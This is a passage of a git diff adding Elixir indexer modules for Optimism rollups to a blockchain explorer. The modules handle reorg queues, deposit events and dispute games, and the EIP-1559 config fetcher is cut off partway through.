Repo.delete_all() + + get_last_item(layer, last_block_number_query_fun, remove_query_fun, json_rpc_named_arguments, counter_type) + end + else + {last_block_number, nil, nil} + end + end + + @doc """ + Fetches block data by its hash using RPC request. + + ## Parameters + - `hash`: The block hash. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - `{:ok, block}` tuple in case of success. + - `{:error, message}` tuple in case of failure. + """ + @spec get_block_by_hash(binary(), EthereumJSONRPC.json_rpc_named_arguments()) :: {:ok, any()} | {:error, any()} + def get_block_by_hash(hash, json_rpc_named_arguments) do + req = ByHash.request(%{id: 0, hash: hash}, false) + + error_message = &"eth_getBlockByHash failed. Error: #{inspect(&1)}" + + Helper.repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, Helper.infinite_retries_number()) + end + + @doc """ + Fetches blocks from RPC by their numbers. + + ## Parameters + - `block_numbers`: The list of block numbers (each number can be integer or in form of `0x` quantity). + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `retries`: Number of retry attempts if the request fails. + + ## Returns + - The list of blocks. The list will be empty if all retries to RPC were failed. + """ + @spec get_blocks_by_numbers(list(), EthereumJSONRPC.json_rpc_named_arguments(), non_neg_integer()) :: list() + def get_blocks_by_numbers(block_numbers, json_rpc_named_arguments, retries) do + request = + block_numbers + |> Stream.map(fn block_number -> %{number: integer_to_quantity(block_number)} end) + |> id_to_params() + |> Blocks.requests(&ByNumber.request(&1, false, false)) + + error_message = &"Cannot fetch blocks with batch request. Error: #{inspect(&1)}. Request: #{inspect(request)}" + + case Helper.repeated_call(&json_rpc/2, [request, json_rpc_named_arguments], error_message, retries) do + {:ok, results} -> Enum.map(results, fn %{result: result} -> result end) + {:error, _} -> [] + end + end + + @doc """ + Reads reorg block numbers queue for the specified module and pops the block numbers from that + finding the earliest one. + + ## Parameters + - `module`: The module for which the queue should be read. + - `handle_reorg_func`: Reference to a local `handle_reorg` function. + + ## Returns + - The earliest reorg block number. + - `nil` if the queue is empty. + """ + @spec handle_reorgs_queue(module(), function()) :: non_neg_integer() | nil + def handle_reorgs_queue(module, handle_reorg_func) do + reorg_block_number = + Enum.reduce_while(Stream.iterate(0, &(&1 + 1)), nil, fn _i, acc -> + number = RollupReorgMonitorQueue.reorg_block_pop(module) + + if is_nil(number) do + {:halt, acc} + else + {:cont, min(number, acc)} + end + end) + + handle_reorg_func.(reorg_block_number) + + reorg_block_number + end + + @doc """ + Catches L2 reorg block from the realtime block fetcher and keeps it in a queue to handle that by the main loop. + + ## Parameters + - `reorg_block_number`: The number of reorg block. + - `module`: The module for which the reorg block number should be added to queue. + The module must have a public `fetcher_name()` function. + + ## Returns + - nothing. + """ + @spec handle_realtime_l2_reorg(non_neg_integer(), module()) :: any() + def handle_realtime_l2_reorg(reorg_block_number, module) do + Logger.warning("L2 reorg was detected at block #{reorg_block_number}.", fetcher: module.fetcher_name()) + RollupReorgMonitorQueue.reorg_block_push(reorg_block_number, module) + end + + @doc """ + Catches realtime L2 blocks from `:blocks, :realtime` subscription and forms a new realtime block range to be handled by a loop handler + in `Indexer.Fetcher.Optimism.Interop.Message`, `Indexer.Fetcher.Optimism.Interop.MessageFailed`, or `Indexer.Fetcher.Optimism.EIP1559ConfigUpdate` module. + + ## Parameters + - `blocks`: The list of new realtime L2 blocks arrived. + - `state`: The current module state containing the current block range, handling mode (:realtime, :continue, or :catchup), and the last known L2 block number. + + ## Returns + - `{:noreply, state}` tuple where the `state` contains updated parameters (block range, last realtime block number, etc.) + """ + @spec handle_realtime_blocks(list(), map()) :: {:noreply, map()} + def handle_realtime_blocks([], state) do + Logger.info("Got an empty list of new realtime block numbers") + {:noreply, state} + end + + def handle_realtime_blocks( + blocks, + %{realtime_range: realtime_range, mode: mode, last_realtime_block_number: last_realtime_block_number} = state + ) do + {new_min, new_max} = + blocks + |> Enum.map(fn block -> block.number end) + |> Enum.min_max() + + if new_min != new_max do + Logger.info("Got a range of new realtime block numbers: #{inspect(new_min..new_max)}") + else + Logger.info("Got a new realtime block number #{new_max}") + end + + {start_block_number, end_block_number} = + case realtime_range do + nil -> {new_min, new_max} + prev_min..prev_max//_ -> {min(prev_min, new_min), max(prev_max, new_max)} + end + + start_block_number_updated = + if last_realtime_block_number < start_block_number do + last_realtime_block_number + 1 + else + start_block_number + end + + new_realtime_range = Range.new(start_block_number_updated, end_block_number) + + if mode == :realtime do + Logger.info("The current realtime range is #{inspect(new_realtime_range)}. Starting to handle that...") + + Process.send(self(), :continue, []) + + {:noreply, + %{ + state + | start_block_number: start_block_number_updated, + end_block_number: end_block_number, + mode: :continue, + realtime_range: nil, + last_realtime_block_number: new_max + }} + else + {:noreply, %{state | realtime_range: new_realtime_range, last_realtime_block_number: new_max}} + end + end + + @doc """ + Outputs log messages about finishing catchup loop and starting realtime mode. + + ## Parameters + - `start_block_number`: The first block number of the block range for which the loop is finished. + - `start_block_number`: The last block number of the block range for which the loop is finished. + + ## Returns + - :ok + """ + @spec log_catchup_loop_finished(non_neg_integer(), non_neg_integer()) :: :ok + def log_catchup_loop_finished(start_block_number, end_block_number) do + Logger.info("The fetcher catchup loop for the range #{inspect(start_block_number..end_block_number)} finished.") + Logger.info("Switching to realtime mode...") + end + + @doc """ + Outputs log message with error and sleeps before the next retry. + + ## Parameters + - `error_message`: The error message to output. + + ## Returns + - :ok + """ + @spec log_error_message_with_retry_sleep(String.t()) :: :ok + def log_error_message_with_retry_sleep(error_message) do + Logger.error("#{error_message} Retrying...") + :timer.sleep(3000) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/deposit.ex b/apps/indexer/lib/indexer/fetcher/optimism/deposit.ex new file mode 100644 index 000000000000..83bb5c8cf34d --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/deposit.ex @@ -0,0 +1,338 @@ +defmodule Indexer.Fetcher.Optimism.Deposit do + @moduledoc """ + Fills op_deposits DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + import Explorer.Helper, only: [decode_data: 2] + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Events.Publisher + alias Explorer.Chain.Optimism.Deposit + alias Explorer.Chain.RollupReorgMonitorQueue + alias Indexer.Fetcher.Optimism + alias Indexer.Helper + + # 32-byte signature of the event TransactionDeposited(address indexed from, address indexed to, uint256 indexed version, bytes opaqueData) + @transaction_deposited_event "0xb3813568d9991fc951961fcb4c784893574240a28925604d09fc577c55bb7c32" + + @fetcher_name :optimism_deposits + @address_prefix "0x000000000000000000000000" + @counter_type "optimism_deposits_fetcher_last_l1_block_hash" + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @impl GenServer + def handle_continue(:ok, _state) do + Logger.metadata(fetcher: @fetcher_name) + + Optimism.init_continue(nil, __MODULE__) + end + + @impl GenServer + def handle_info( + :continue, + %{ + contract_address: optimism_portal, + block_check_interval: block_check_interval, + start_block: start_block, + end_block: end_block, + json_rpc_named_arguments: json_rpc_named_arguments, + eth_get_logs_range_size: eth_get_logs_range_size + } = state + ) do + # credo:disable-for-next-line + time_before = Timex.now() + + transaction_type = Application.get_all_env(:indexer)[__MODULE__][:transaction_type] + + chunks_number = ceil((end_block - start_block + 1) / eth_get_logs_range_size) + chunk_range = Range.new(0, max(chunks_number - 1, 0), 1) + + last_written_block = + chunk_range + |> Enum.reduce_while(start_block - 1, fn current_chunk, _ -> + chunk_start = start_block + eth_get_logs_range_size * current_chunk + chunk_end = min(chunk_start + eth_get_logs_range_size - 1, end_block) + + if chunk_end >= chunk_start do + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, :L1) + + {:ok, result} = + Helper.get_logs( + chunk_start, + chunk_end, + optimism_portal, + [@transaction_deposited_event], + json_rpc_named_arguments, + 0, + Helper.infinite_retries_number() + ) + + deposit_events = prepare_events(result, transaction_type, json_rpc_named_arguments) + + {:ok, _} = + Chain.import(%{ + optimism_deposits: %{params: deposit_events}, + timeout: :infinity + }) + + Publisher.broadcast(%{new_optimism_deposits: deposit_events}, :realtime) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(deposit_events)} TransactionDeposited event(s)", + :L1 + ) + end + + reorg_block = RollupReorgMonitorQueue.reorg_block_pop(__MODULE__) + + if !is_nil(reorg_block) && reorg_block > 0 do + {deleted_count, _} = Repo.delete_all(from(d in Deposit, where: d.l1_block_number >= ^reorg_block)) + + log_deleted_rows_count(reorg_block, deleted_count) + + Optimism.set_last_block_hash(@empty_hash, @counter_type) + + {:halt, if(reorg_block <= chunk_end, do: reorg_block - 1, else: chunk_end)} + else + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if chunk_end >= chunk_start do + Optimism.set_last_block_hash_by_number(chunk_end, @counter_type, json_rpc_named_arguments) + end + + {:cont, chunk_end} + end + end) + + new_start_block = last_written_block + 1 + new_end_block = Helper.fetch_latest_l1_block_number(json_rpc_named_arguments) + + delay = + if new_end_block == last_written_block do + # there is no new block, so wait for some time to let the chain issue the new block + max(block_check_interval - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(self(), :continue, delay) + + {:noreply, %{state | start_block: new_start_block, end_block: new_end_block}} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + defp log_deleted_rows_count(reorg_block, count) do + if count > 0 do + Logger.warning( + "As L1 reorg was detected, all rows with l1_block_number >= #{reorg_block} were removed from the op_deposits table. Number of removed rows: #{count}." + ) + end + end + + # Prepares `TransactionDeposited` events to be imported to database. + # + # ## Parameters + # - `events`: The list of `TransactionDeposited` events got from `eth_getLogs` response. + # - `transaction_type`: L1 transaction type to correctly calculate the corresponding L2 transaction hash. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # Used to get blocks info by their numbers from the RPC node. + # + # ## Returns + # - A list of prepared events. Each list item is a map outlining a deposit event. + @spec prepare_events(list(), non_neg_integer(), EthereumJSONRPC.json_rpc_named_arguments()) :: [map()] + defp prepare_events(events, transaction_type, json_rpc_named_arguments) do + {timestamps, origins} = + events + |> Helper.get_blocks_by_events(json_rpc_named_arguments, Helper.infinite_retries_number(), true) + |> Enum.reduce({%{}, %{}}, fn block, {timestamps_acc, origins_acc} -> + block_number = quantity_to_integer(Map.get(block, "number")) + {:ok, timestamp} = DateTime.from_unix(quantity_to_integer(Map.get(block, "timestamp"))) + + new_timestamps_acc = Map.put(timestamps_acc, block_number, timestamp) + + new_origins_acc = + block + |> Map.get("transactions", []) + |> Enum.reduce(origins_acc, fn transaction, acc -> + Map.put(acc, String.downcase(transaction["hash"]), transaction["from"]) + end) + + {new_timestamps_acc, new_origins_acc} + end) + + Enum.map(events, &event_to_deposit(&1, timestamps, origins, transaction_type)) + end + + # Prepares `TransactionDeposited` event to be imported to database. + # + # ## Parameters + # - An event map outlining a `TransactionDeposited` event got from `eth_getLogs` response. + # - `timestamps`: A `block_number -> timestamp` map to get the timestamp of the event from its block info. + # - `origins`: A `transaction_hash -> origin` map to get the origin address of the event transaction. + # - `transaction_type`: L1 transaction type to correctly calculate the corresponding L2 transaction hash. + # + # ## Returns + # - A map with the event info ready to be imported to database. + @spec event_to_deposit(map(), map(), map(), non_neg_integer()) :: map() + defp event_to_deposit( + %{ + "blockHash" => "0x" <> stripped_block_hash, + "blockNumber" => block_number_quantity, + "transactionHash" => transaction_hash, + "logIndex" => "0x" <> stripped_log_index, + "topics" => [_, @address_prefix <> from_stripped, @address_prefix <> to_stripped, _], + "data" => opaque_data + }, + timestamps, + origins, + transaction_type + ) do + {_, prefixed_block_hash} = (String.pad_leading("", 64, "0") <> stripped_block_hash) |> String.split_at(-64) + {_, prefixed_log_index} = (String.pad_leading("", 64, "0") <> stripped_log_index) |> String.split_at(-64) + + deposit_id_hash = + "#{prefixed_block_hash}#{prefixed_log_index}" + |> Base.decode16!(case: :mixed) + |> ExKeccak.hash_256() + |> Base.encode16(case: :lower) + + source_hash = + "#{String.pad_leading("", 64, "0")}#{deposit_id_hash}" + |> Base.decode16!(case: :mixed) + |> ExKeccak.hash_256() + + [ + << + msg_value::binary-size(32), + value::binary-size(32), + gas_limit::binary-size(8), + _is_creation::binary-size(1), + data::binary + >> + ] = decode_data(opaque_data, [:bytes]) + + is_system = <<0>> + + rlp_encoded = + ExRLP.encode( + [ + source_hash, + from_stripped |> Base.decode16!(case: :mixed), + to_stripped |> Base.decode16!(case: :mixed), + msg_value |> String.replace_leading(<<0>>, <<>>), + value |> String.replace_leading(<<0>>, <<>>), + gas_limit |> String.replace_leading(<<0>>, <<>>), + is_system |> String.replace_leading(<<0>>, <<>>), + data + ], + encoding: :hex + ) + + transaction_type = + transaction_type + |> Integer.to_string(16) + |> String.downcase() + + l2_transaction_hash = + "0x" <> + ((transaction_type <> "#{rlp_encoded}") + |> Base.decode16!(case: :mixed) + |> ExKeccak.hash_256() + |> Base.encode16(case: :lower)) + + block_number = quantity_to_integer(block_number_quantity) + + %{ + l1_block_number: block_number, + l1_block_timestamp: Map.get(timestamps, block_number), + l1_transaction_hash: transaction_hash, + l1_transaction_origin: Map.get(origins, String.downcase(transaction_hash)), + l2_transaction_hash: l2_transaction_hash + } + end + + @doc """ + Determines the last saved L1 block number, the last saved transaction hash, and the transaction info for L1 Deposit events. + + Used by the `Indexer.Fetcher.Optimism` module to start fetching from a correct block number + after reorg has occurred. + + ## Parameters + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + Used to get transaction info by its hash from the RPC node. + + ## Returns + - A tuple `{last_block_number, last_transaction_hash, last_transaction}` where + `last_block_number` is the last block number found in the corresponding table (0 if not found), + `last_transaction_hash` is the last transaction hash found in the corresponding table (nil if not found), + `last_transaction` is the transaction info got from the RPC (nil if not found). + - A tuple `{:error, message}` in case the `eth_getTransactionByHash` RPC request failed. + """ + @spec get_last_l1_item(EthereumJSONRPC.json_rpc_named_arguments()) :: + {non_neg_integer(), binary() | nil, map() | nil} | {:error, any()} + def get_last_l1_item(json_rpc_named_arguments) do + Optimism.get_last_item( + :L1, + &Deposit.last_deposit_l1_block_number_query/0, + &Deposit.remove_deposits_query/1, + json_rpc_named_arguments, + @counter_type + ) + end + + @doc """ + Returns L1 RPC URL for this module. + """ + @spec l1_rpc_url() :: binary() | nil + def l1_rpc_url do + Optimism.l1_rpc_url() + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + before this fetcher starts. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + Optimism.requires_l1_reorg_monitor?() + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/dispute_game.ex b/apps/indexer/lib/indexer/fetcher/optimism/dispute_game.ex new file mode 100644 index 000000000000..3295dcffa89f --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/dispute_game.ex @@ -0,0 +1,451 @@ +defmodule Indexer.Fetcher.Optimism.DisputeGame do + @moduledoc """ + Fills op_dispute_games DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, only: [json_rpc: 2, quantity_to_integer: 1] + + alias ABI.TypeEncoder + alias EthereumJSONRPC.Contract + alias Explorer.Application.Constants + alias Explorer.{Chain, Helper, Repo} + alias Explorer.Chain.Data + alias Explorer.Chain.Hash.Address + alias Explorer.Chain.Optimism.{DisputeGame, Withdrawal} + alias Indexer.Fetcher.Optimism + alias Indexer.Helper, as: IndexerHelper + + @fetcher_name :optimism_dispute_games + @game_check_interval 60 + @games_range_size 50 + + @extra_data_method_signature "0x609d3334" + @resolved_at_method_signature "0x19effeb4" + @status_method_signature "0x200d2ed2" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @impl GenServer + def handle_continue(:ok, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + env = Application.get_all_env(:indexer)[Optimism] + system_config = env[:optimism_l1_system_config] + rpc = env[:optimism_l1_rpc] + + with {:system_config_valid, true} <- {:system_config_valid, IndexerHelper.address_correct?(system_config)}, + {:rpc_l1_undefined, false} <- {:rpc_l1_undefined, is_nil(rpc)}, + json_rpc_named_arguments = IndexerHelper.json_rpc_named_arguments(rpc), + {optimism_portal, _} <- Optimism.read_system_config(system_config, json_rpc_named_arguments), + dispute_game_factory = get_dispute_game_factory_address(optimism_portal, json_rpc_named_arguments), + {:dispute_game_factory_available, true} <- {:dispute_game_factory_available, !is_nil(dispute_game_factory)}, + game_count = get_game_count(dispute_game_factory, json_rpc_named_arguments), + {:game_count_available, true} <- {:game_count_available, !is_nil(game_count)} do + set_dispute_game_finality_delay_seconds(optimism_portal, json_rpc_named_arguments) + set_proof_maturity_delay_seconds(optimism_portal, json_rpc_named_arguments) + + Process.send(self(), :continue, []) + + last_known_index = DisputeGame.get_last_known_index() + end_index = game_count - 1 + + {:noreply, + %{ + dispute_game_factory: dispute_game_factory, + optimism_portal: optimism_portal, + start_index: get_start_index(last_known_index, end_index), + end_index: end_index, + json_rpc_named_arguments: json_rpc_named_arguments + }} + else + {:rpc_l1_undefined, true} -> + Logger.error("L1 RPC URL is not defined.") + {:stop, :normal, %{}} + + {:system_config_valid, false} -> + Logger.error("SystemConfig contract address is invalid or undefined.") + {:stop, :normal, %{}} + + {:dispute_game_factory_available, false} -> + Logger.error( + "Cannot get DisputeGameFactory contract address from the OptimismPortal contract. Probably, this is the first implementation of OptimismPortal." + ) + + {:stop, :normal, %{}} + + {:game_count_available, false} -> + Logger.error("Cannot read gameCount() public getter from the DisputeGameFactory contract.") + {:stop, :normal, %{}} + + nil -> + Logger.error("Cannot read SystemConfig contract.") + {:stop, :normal, %{}} + end + end + + @impl GenServer + def handle_info( + :continue, + %{ + dispute_game_factory: dispute_game_factory, + optimism_portal: optimism_portal, + start_index: start_index, + end_index: end_index, + json_rpc_named_arguments: json_rpc_named_arguments + } = state + ) do + time_before = Timex.now() + + update_respected_game_type(optimism_portal, json_rpc_named_arguments) + + chunks_number = ceil((end_index - start_index + 1) / @games_range_size) + chunk_range = Range.new(0, max(chunks_number - 1, 0), 1) + + chunk_range + |> Enum.each(fn current_chunk -> + chunk_start = start_index + @games_range_size * current_chunk + chunk_end = min(chunk_start + @games_range_size - 1, end_index) + + if chunk_end >= chunk_start do + log_games_chunk_handling(chunk_start, chunk_end, start_index, end_index, nil) + + games = read_game_list(chunk_start, chunk_end, dispute_game_factory, json_rpc_named_arguments) + + {:ok, _} = + Chain.import(%{ + optimism_dispute_games: %{params: games}, + timeout: :infinity + }) + + log_games_chunk_handling(chunk_start, chunk_end, start_index, end_index, "#{Enum.count(games)} dispute game(s)") + end + end) + + game_count = get_game_count(dispute_game_factory, json_rpc_named_arguments, IndexerHelper.infinite_retries_number()) + + false = is_nil(game_count) + + new_end_index = game_count - 1 + + Logger.info("Found #{new_end_index - end_index} new game(s) since the last games filling.") + + update_game_statuses(json_rpc_named_arguments) + + delay = + if new_end_index == end_index do + # there are no new games, so wait for @game_check_interval seconds to let the new game appear + max(@game_check_interval * 1000 - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(self(), :continue, delay) + + {:noreply, %{state | start_index: get_start_index(end_index, new_end_index), end_index: new_end_index}} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + defp set_dispute_game_finality_delay_seconds(optimism_portal, json_rpc_named_arguments) do + set_constant_value( + "0x952b2797", + "disputeGameFinalityDelaySeconds()", + optimism_portal, + "OptimismPortal", + Withdrawal.dispute_game_finality_delay_seconds_constant(), + json_rpc_named_arguments + ) + end + + defp set_proof_maturity_delay_seconds(optimism_portal, json_rpc_named_arguments) do + set_constant_value( + "0xbf653a5c", + "proofMaturityDelaySeconds()", + optimism_portal, + "OptimismPortal", + Withdrawal.proof_maturity_delay_seconds_constant(), + json_rpc_named_arguments + ) + end + + defp update_respected_game_type(optimism_portal, json_rpc_named_arguments) do + set_constant_value( + "0x3c9f397c", + "respectedGameType()", + optimism_portal, + "OptimismPortal", + "optimism_respected_game_type", + json_rpc_named_arguments + ) + end + + defp update_game_statuses(json_rpc_named_arguments) do + query = + from( + game in DisputeGame, + select: %{index: game.index, address_hash: game.address_hash}, + where: is_nil(game.resolved_at), + order_by: [desc: game.index], + limit: 1000 + ) + + update_count = + query + |> Repo.all(timeout: :infinity) + |> Enum.chunk_every(@games_range_size) + |> Enum.reduce(0, fn games_chunk, update_count_acc -> + resolved_at_by_index = + read_extra_data(@resolved_at_method_signature, "resolvedAt()", games_chunk, json_rpc_named_arguments) + + games_resolved = + games_chunk + |> Enum.filter(fn %{index: index} -> + resolved_at = quantity_to_integer(resolved_at_by_index[index]) + resolved_at > 0 and not is_nil(resolved_at) + end) + + status_by_index = + read_extra_data(@status_method_signature, "status()", games_resolved, json_rpc_named_arguments) + + Enum.reduce(games_resolved, update_count_acc, fn %{index: index}, acc -> + resolved_at = sanitize_resolved_at(resolved_at_by_index[index]) + status = quantity_to_integer(status_by_index[index]) + + {local_update_count, _} = + Repo.update_all( + from(game in DisputeGame, where: game.index == ^index), + set: [resolved_at: resolved_at, status: status] + ) + + acc + local_update_count + end) + end) + + if update_count > 0 do + Logger.info("A new game status for #{update_count} game(s) was set.") + end + end + + defp get_dispute_game_factory_address(optimism_portal, json_rpc_named_arguments) do + req = Contract.eth_call_request("0xf2b4e617", optimism_portal, 0, nil, nil) + + error_message = + &"Cannot fetch DisputeGameFactory contract address. Probably, this is the first implementation of OptimismPortal. Error: #{inspect(&1)}" + + case IndexerHelper.repeated_call( + &json_rpc/2, + [req, json_rpc_named_arguments], + error_message, + IndexerHelper.infinite_retries_number() + ) do + {:ok, "0x000000000000000000000000" <> address} -> "0x" <> address + _ -> nil + end + end + + defp get_game_count(dispute_game_factory, json_rpc_named_arguments, retries \\ 3) do + req = Contract.eth_call_request("0x4d1975b4", dispute_game_factory, 0, nil, nil) + error_message = &"Cannot fetch game count from the DisputeGameFactory contract. Error: #{inspect(&1)}" + + case IndexerHelper.repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, retries) do + {:ok, count} -> quantity_to_integer(count) + _ -> nil + end + end + + defp get_start_index(end_index, new_end_index) do + if new_end_index < end_index do + # reorg occurred + remove_games_after_reorg(new_end_index) + max(new_end_index, 0) + else + end_index + 1 + end + end + + defp log_games_chunk_handling(chunk_start, chunk_end, start_index, end_index, items_count) do + is_start = is_nil(items_count) + + {type, found} = + if is_start do + {"Start", ""} + else + {"Finish", " Handled #{items_count}."} + end + + target_range = + if chunk_start != start_index or chunk_end != end_index do + progress = + if is_start do + "" + else + percentage = + (chunk_end - start_index + 1) + |> Decimal.div(end_index - start_index + 1) + |> Decimal.mult(100) + |> Decimal.round(2) + |> Decimal.to_string() + + " Progress: #{percentage}%" + end + + " Target range: #{start_index}..#{end_index}.#{progress}" + else + "" + end + + if chunk_start == chunk_end do + Logger.info("#{type} handling a game ##{chunk_start}.#{found}#{target_range}") + else + Logger.info("#{type} handling games #{chunk_start}..#{chunk_end}.#{found}#{target_range}") + end + end + + defp read_game_list(start_index, end_index, dispute_game_factory, json_rpc_named_arguments, retries \\ 10) do + requests = + start_index..end_index + |> Enum.map(fn index -> + encoded_call = + TypeEncoder.encode([index], %ABI.FunctionSelector{ + function: "gameAtIndex", + types: [ + {:uint, 256} + ] + }) + + calldata = %Data{bytes: encoded_call} + + Contract.eth_call_request(calldata, dispute_game_factory, index, nil, nil) + end) + + error_message = &"Cannot call gameAtIndex() public getter of DisputeGameFactory. Error: #{inspect(&1)}" + + with {:ok, responses} <- + IndexerHelper.repeated_call(&json_rpc/2, [requests, json_rpc_named_arguments], error_message, retries), + games = decode_games(responses), + extra_data_by_index = + read_extra_data(@extra_data_method_signature, "extraData()", games, json_rpc_named_arguments), + false <- is_nil(extra_data_by_index), + resolved_at_by_index = + read_extra_data(@resolved_at_method_signature, "resolvedAt()", games, json_rpc_named_arguments), + false <- is_nil(resolved_at_by_index), + status_by_index = read_extra_data(@status_method_signature, "status()", games, json_rpc_named_arguments), + false <- is_nil(status_by_index) do + Enum.map(games, fn game -> + [extra_data] = Helper.decode_data(extra_data_by_index[game.index], [:bytes]) + + game + |> Map.put(:extra_data, %Data{bytes: extra_data}) + |> Map.put(:resolved_at, sanitize_resolved_at(resolved_at_by_index[game.index])) + |> Map.put(:status, quantity_to_integer(status_by_index[game.index])) + end) + else + _ -> [] + end + end + + defp sanitize_resolved_at(resolved_at) do + case quantity_to_integer(resolved_at) do + 0 -> nil + value -> Timex.from_unix(value) + end + end + + defp decode_games(responses) do + responses + |> Enum.map(fn response -> + [game_type, created_at, address_hash] = Helper.decode_data(response.result, [{:uint, 32}, {:uint, 64}, :address]) + + {:ok, address} = Address.cast(address_hash) + + %{ + index: response.id, + game_type: game_type, + address_hash: address, + created_at: Timex.from_unix(created_at) + } + end) + end + + defp read_extra_data(method_id, method_name, games, json_rpc_named_arguments, retries \\ 10) do + requests = + games + |> Enum.map(&Contract.eth_call_request(method_id, &1.address_hash, &1.index, nil, nil)) + + error_message = &"Cannot call #{method_name} public getter of FaultDisputeGame. Error: #{inspect(&1)}" + + case IndexerHelper.repeated_call(&json_rpc/2, [requests, json_rpc_named_arguments], error_message, retries) do + {:ok, responses} -> + Enum.reduce(responses, %{}, fn response, acc -> + game_index = response.id + data = response.result + Map.put(acc, game_index, data) + end) + + _ -> + nil + end + end + + defp remove_games_after_reorg(starting_index) do + {deleted_count, _} = Repo.delete_all(from(g in DisputeGame, where: g.index >= ^starting_index)) + + if deleted_count > 0 do + Logger.warning( + "As L1 reorg was detected, all rows with index >= #{starting_index} were removed from the op_dispute_games table. Number of removed rows: #{deleted_count}." + ) + end + end + + defp set_constant_value( + method_id, + method_name, + contract_address, + contract_name, + constant_name, + json_rpc_named_arguments + ) do + req = Contract.eth_call_request(method_id, contract_address, 0, nil, nil) + error_message = &"Cannot get #{method_name} from #{contract_name} contract. Error: #{inspect(&1)}" + + case IndexerHelper.repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, 10) do + {:ok, value} -> + Constants.set_constant_value(constant_name, Integer.to_string(quantity_to_integer(value))) + + _ -> + raise "Cannot get #{method_name} from #{contract_name} contract." + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/eip1559_config_update.ex b/apps/indexer/lib/indexer/fetcher/optimism/eip1559_config_update.ex new file mode 100644 index 000000000000..2d3c675bb28b --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/eip1559_config_update.ex @@ -0,0 +1,598 @@ +defmodule Indexer.Fetcher.Optimism.EIP1559ConfigUpdate do + @moduledoc """ + Fills op_eip1559_config_updates DB table. + + The table stores points when EIP-1559 denominator and multiplier were changed, + and the updated values of these parameters. The point is the L2 block number + and its hash. The block hash is needed to detect a possible past reorg when starting + this fetcher. If the past reorg is detected, the module tries to start from + the previous block and so on until a consensus block is found. + + The parameter values are taken from the `extraData` field of each block. They + are stored in a block starting from the block of Holocene upgrade. Each block + contains the parameters actual for the next blocks (until they are changed again). + The `extraData` field has a format described on the page + https://specs.optimism.io/protocol/holocene/exec-engine.html#dynamic-eip-1559-parameters + + The Holocene activation block is defined with INDEXER_OPTIMISM_L2_HOLOCENE_TIMESTAMP env variable + setting the block timestamp. If this env is not defined, the module won't work. In this case + EIP_1559_BASE_FEE_MAX_CHANGE_DENOMINATOR and EIP_1559_ELASTICITY_MULTIPLIER env variables + will be used as fallback static values. The timestamp can be defined as `0` meaning the Holocene + is activated from genesis block. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import EthereumJSONRPC, only: [fetch_blocks_by_numbers: 3] + import Explorer.Helper, only: [hash_to_binary: 1] + + alias EthereumJSONRPC.Blocks + alias Explorer.Chain + alias Explorer.Chain.Block.Reader.General, as: BlockGeneralReader + alias Explorer.Chain.Events.Subscriber + alias Explorer.Chain.Optimism.EIP1559ConfigUpdate + alias Indexer.Fetcher.Optimism + alias Indexer.Helper + + @fetcher_name :optimism_eip1559_config_updates + @latest_block_check_interval_seconds 60 + @counter_type "optimism_eip1559_config_updates_fetcher_last_l2_block_hash" + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + json_rpc_named_arguments = args[:json_rpc_named_arguments] + {:ok, %{}, {:continue, json_rpc_named_arguments}} + end + + # Initialization function which is used instead of `init` to avoid Supervisor's stop in 